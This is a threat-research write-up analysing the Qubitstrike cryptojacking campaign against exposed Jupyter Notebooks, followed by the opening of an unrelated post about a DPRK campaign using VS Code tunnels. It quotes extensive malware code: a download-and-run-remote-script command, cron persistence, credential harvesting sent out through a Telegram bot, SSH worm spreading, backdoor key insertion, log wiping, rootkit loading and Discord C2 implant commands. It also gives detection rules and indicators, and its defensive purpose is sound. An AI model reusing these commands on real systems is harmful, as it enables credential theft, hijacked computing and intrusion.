October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' 'zhuabcn@yahoo.com' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "mmuir@cadosecurity.com" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

